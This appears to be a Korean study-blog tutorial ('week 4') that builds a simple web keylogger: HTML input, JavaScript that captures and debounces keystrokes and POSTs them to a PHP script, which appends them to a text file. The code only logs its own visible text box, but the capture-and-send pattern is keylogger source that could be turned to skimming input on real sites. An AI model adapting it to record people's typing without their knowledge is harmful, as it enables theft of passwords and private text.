4주차 키로거 만들기
1.키로거 만들기
키로거란? 사용자가 작성하는 글을 기록하고 전송하는 것을 말합니다. 즉 사용자의 입력의 데이터를 가져오는 것입니다.
키로거를 만든 것을 보여드리면서 코드를 설명하겠습니다.
▶ 글을 작성하니, 작성한 글이 txt파일에 저장되는 모습!
1.1 keylog.html
저는 기본적으로 작성할 텍스트 박스를 만들었고, 텍스트의 내용을 밑에 표시하고 싶었기 때문에 pre를 작성해두었습니다.
필요에 따라 밑에 표시하는 구문은 지우셔도 무방합니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>keylogger</title>
</head>
<body>
<h1>keylogger</h1>
<input type="text" id="input" placeholder="입력할 글자를 넣어주세요">
<pre id="log"></pre>
</body>
<script src="keylogger.js"></script>
</html>
1.2 keylogger.js
▶DOMContentLoaded로 구성 및 변수지정
document.addEventListener('DOMContentLoaded', () => { #DOM이 완료되고, 초기에 스크립트를 실행하기 위함.
const input = document.getElementById('input'); # 작성할곳
const log = document.getElementById('log'); # 작성한 것이 밑에 나타날 곳
let composing = false; # IME 입력 중인지 나타내는 플래그(한글작성을 위해)
let buffer = ''; # 데이터를 임시 저장(한글의 문장열을 한꺼번에 보내려고)
let timeoutId = null; # 디바운싱을 위한 타임아웃 ID(불필요한 텍스트를피하려고)
▶IME 입력으로 한글적기 및 밑에 텍스트 내용 표시하기
#한글을 작성할 때
#(영어가 아닌 한글은 자음가 모음의 결합된 형태이기 때문에 composing을 이용하여 문자조합의 시작과 끝을 나누어서 봐야한다.)
input.addEventListener('compositionstart', () => { #입력을 시작, true는 입력중이라는 뜻.
composing = true;
});
input.addEventListener('compositionend', (event) => { #입력 끝, false는 입력을 끝냈다는 뜻.
composing = false; #한글 작성을 끝내고,buffer와log에 데이터를 추가
buffer += event.data || '';
log.textContent += event.data || '';
sendData(buffer); # buffer에 저장된 텍스트를 서버로 전송
buffer = ''; # buffer 초기화
});
-----------------------------------------------------------------------------------------------------------
#영어를 작성하거나 기타 다른 것을 작성할 때(밑에 log 작성안할시,if문에 buffer 데이터추가하고 서버에 보내도 됌)
input.addEventListener('input', (event) => {
if (!composing) { # 한글을 입력하지 않고 다른것을 작성할때
if (event.inputType === "deleteContentBackward") { # backspace키
log.textContent = log.textContent.slice(0, -1); # slice는 추출해서 새로운 문자열 만드는것
} else { (인덱스0, 인덱스-1)이므로 마지막단어빼고 만듬
log.textContent += event.data || ''; # 나머지는 영어라서 log에 데이터 추가
}
debounceSendData(log.textContent); # 디바운싱을 적용하여 서버에 전송
} 시간 차를 이용해서 텍스트를 모아서 한꺼번에 처리하여, log에 불필요한 텍스트가 생기는 것을 방지한다.
});
▶데이터 전송하기 및 서버 응답 상태 확인하기
###글 작성시, 바로 서버에 보내면 불필요한 글까지 전송된다. 하여 시간 차를 두어 수정할 시간을 확보하기 위함이다.###
function debounceSendData(text) {
clearTimeout(timeoutId); #이전에 설정된 타임을 취소.
timeoutId = setTimeout(() => { #새로운 타임 설정, 2초후에 서버로 text를 보냄.
sendData(text);
}, 2000);
}
function sendData(text) {
var xhr = new XMLHttpRequest(); #웹페이지가 로딩이 끝난뒤에도 서버에 데이터를 주고 받을수 있음.
xhr.open("POST", "keylog.php", true); #요청을 설정. (메서드, 경로, 비동기(true),동기(false))
동기: 데이터베이스 검색후, 다음코드 진행하는 것처럼 한작업 끝나고 진행
비동기:서버에 데이터주고받을때 처럼 바로 요청에 응답처리
###http요청헤더 content-Type 헤더에서 보낸 데이터가 url을 인코딩, 문자 인코딩이 utf-8 지정###
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
###http요청이 완료되었을 때, http상태가 200(좋음)인지 아닌지에 따라 출력하기###
xhr.onload = function() {
if (xhr.status === 200) {
console.log('Data sent successfully:', xhr.responseText);
} else {
console.log('Failed to send data:', xhr.status);
}
};
xhr.send(`keys=${encodeURIComponent(text)}`); #데이터 인코딩해서 전송
}
});
1.3 keylog.php
▶데이터 txt 파일로 보내기
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$keys = $_POST['keys'] ?? ''; # key가 존재하지 않거나 null값이면 ''
file_put_contents("keylog.txt", $keys . PHP_EOL, FILE_APPEND | LOCK_EX);
} #PHP_EOL:줄바꿈 추가# #FILE_APPEND:기존내용유지,뒤에 계속내용추가# #LOCK_EX:다른프로세스가 파일을 변경할수 없게함#
댓글남기기